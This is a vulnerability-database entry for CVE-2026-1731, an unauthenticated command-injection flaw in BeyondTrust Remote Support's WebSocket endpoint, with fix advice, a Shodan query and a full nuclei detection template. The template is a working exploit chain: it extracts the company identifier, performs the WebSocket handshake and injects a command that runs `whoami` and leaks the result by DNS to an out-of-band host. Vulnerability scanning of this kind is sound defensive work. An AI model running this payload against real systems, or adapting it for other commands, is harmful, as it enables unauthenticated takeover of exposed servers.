HexBrain

Browse / CVEs / CVE-2026-1731

CVE-2026-1731· beyondtrust / remote support· CWE-78

BeyondTrust Remote Support - Unauthenticated WebSocket RCE

Exploited in the wild. Listed by CISA on 2026-02-13; known to be used by ransomware.

criticalseverity
93.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.

Impact

Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.

Fix

Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.

How to confirm it

Send: GET /get_mech_list?version=3
Positive when: contains "company"
Positive when: contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2026-1731 -u <target>

The full check
id: CVE-2026-1731

info:
  name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
  author: attackerkb,hacktron,pdteam
  severity: critical
  description: |
    BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
  impact: |
    Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
  remediation: |
    Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
  reference:
    - https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
    - https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
    - https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
  classification:
    cve-id: CVE-2026-1731
    epss-score: 0.93852
    epss-percentile: 0.99846
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: beyondtrust
    product: remote_support
    shodan-query: http.html:"BeyondTrust"
  tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev

flow: http(1) && javascript(1)

http:
  - raw:
      - |
        GET /get_mech_list?version=3 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: word
        part: body
        words:
          - "company"
        internal: true

    extractors:
      - type: regex
        name: company
        part: body
        group: 1
        regex:
          - '"(?:default_)?company"\s*:\s*"([^"]+)"'
        internal: true

javascript:
  - code: |
      const net = require("nuclei/net");
      const nb = require("nuclei/bytes");

      let address = Host + ":443";
      let conn;
      try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }

      // Step 1: WebSocket upgrade handshake
      let handshake = "GET /nw HTTP/1.1\r\n";
      handshake += "Host: " + Host + "\r\n";
      handshake += "Upgrade: websocket\r\n";
      handshake += "Connection: Upgrade\r\n";
      handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
      handshake += "Sec-WebSocket-Version: 13\r\n";
      handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
      handshake += "X-Ns-Company: " + company + "\r\n";
      handshake += "\r\n";

      conn.Send(handshake);
      let resp = conn.RecvString(4096);

      let result = "";
      if (resp.indexOf("101") !== -1) {
        // Step 2: Build binary WebSocket frame with command injection payload
        let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";

        let buf = new nb.Buffer();
        buf.WriteString(payload);
        let payloadHex = buf.Hex();
        let payloadLen = buf.Len();

        // WebSocket frame structure:
        // Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
        // Byte 2: MASK=1 + payload length
        // If length < 126: single byte (7-bit length)
        // If length 126-65535: byte=126, then 2-byte big-endian length
        // Masking key: 00000000 (no-op XOR mask)
        let frameHeader = "82";
        if (payloadLen < 126) {
          frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
        } else {
          frameHeader += "fe"; // 0x80 | 126
          frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
          frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
        }
        frameHeader += "00000000";
        let frameHex = frameHeader + payloadHex;

        conn.SendHex(frameHex);
        result = conn.RecvString(4096);
      }
      conn.Close();
      result;

    args:
      Host: "{{Host}}"
      company: "{{company}}"
      oob: "{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'

References

Use this check only on systems you are authorised to test. Where the data comes from